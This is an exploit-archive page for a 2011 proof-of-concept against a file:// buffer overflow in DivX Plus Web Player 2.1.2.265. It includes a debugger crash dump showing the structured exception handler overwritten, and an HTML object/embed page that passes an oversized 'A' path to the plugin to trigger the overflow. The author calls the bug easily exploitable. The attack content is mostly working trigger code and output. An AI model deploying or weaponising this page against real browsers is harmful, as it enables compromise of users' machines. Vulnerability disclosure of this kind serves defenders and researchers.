exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DivX Plus Web Player 2.1.2.265 Buffer Overflow

DivX Plus Web Player 2.1.2.265 Buffer Overflow
Posted Oct 5, 2011
Authored by Snake

DivX Plus Web Player versions 2.1.2.265 and below file:// buffer overflow proof of concept exploit.

tags | exploit, web, overflow, proof of concept
SHA-256 | 3f62fbde7f5a2fffb02fd76f35f14af77b6699cf9619e1f8924c9bc37ac7af91

DivX Plus Web Player 2.1.2.265 Buffer Overflow

Change Mirror Download
# Exploit Title: DivX Plus Web Player "file://" Buffer Overflow Vulnerability PoC ( 0day )
# Date: 10/4/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: DivX Plus Web Player <= 2.1.2.265
# Tested on: XP SP3 , IE6
# CVE : Not Assigned Yet
# Ref : http://dl.packetstormsecurity.net/1109-advisories/sa45550.txt

This is PoC I wrote for our free BA service in 0days.ir.
bug seems simply exploitable ;)


(ce8.ca8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000007b5 ebx=04634f9e ecx=0000062a edx=0000062b esi=00000041 edi=049ff3ac
eip=03d6c62d esp=049ff35c ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216
DivXPlaybackModule+0x3c62d:
03d6c62d 6689344f mov word ptr [edi+ecx*2],si ds:0023:04a00000=5a4d
0:010> dd esp
049ff35c 045e56d4 00000000 03d6c8e3 049ffbfc
049ff36c 045e56d0 04634f9e 001f5980 00000000
049ff37c 001eb9e0 00000000 001c5258 00000008
049ff38c 00150178 ffffffff 7c91003d 001c5260
049ff39c 00150000 001ead30 7c8099fd 00000000
049ff3ac 0046002f 002f003a 00410041 00410041
049ff3bc 00410041 00410041 00410041 00410041
049ff3cc 00410041 00410041 00410041 00410041
0:010> dd
049ff3dc 00410041 00410041 00410041 00410041
049ff3ec 00410041 00410041 00410041 00410041
049ff3fc 00410041 00410041 00410041 00410041
049ff40c 00410041 00410041 00410041 00410041
049ff41c 00410041 00410041 00410041 00410041
049ff42c 00410041 00410041 00410041 00410041
049ff43c 00410041 00410041 00410041 00410041
049ff44c 00410041 00410041 00410041 00410041
0:010> !exchain
049ffd9c: iexplore!DllGetLCID+dca7 (00410041)
Invalid exception stack at 00410041

also
check here for free Persian BA :
http://www.0days.ir/article/

-have fun
twitter.com/ponez

<object classid="clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616" width="500" height="245" codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab">
<param name="custommode" value="none" />
<param name="previewImage" value="Test" />
<param name="autoPlay" value="true" />
<param name="src" value="file:///F:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.mkv" />
<embed type="video/divx" src="file:///F:/.mkv" custommode="none" width="500" height="245" autoPlay="true" previewImage="Test" pluginspage="http://go.divx.com/plugin/download/">
</embed>
</object>

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close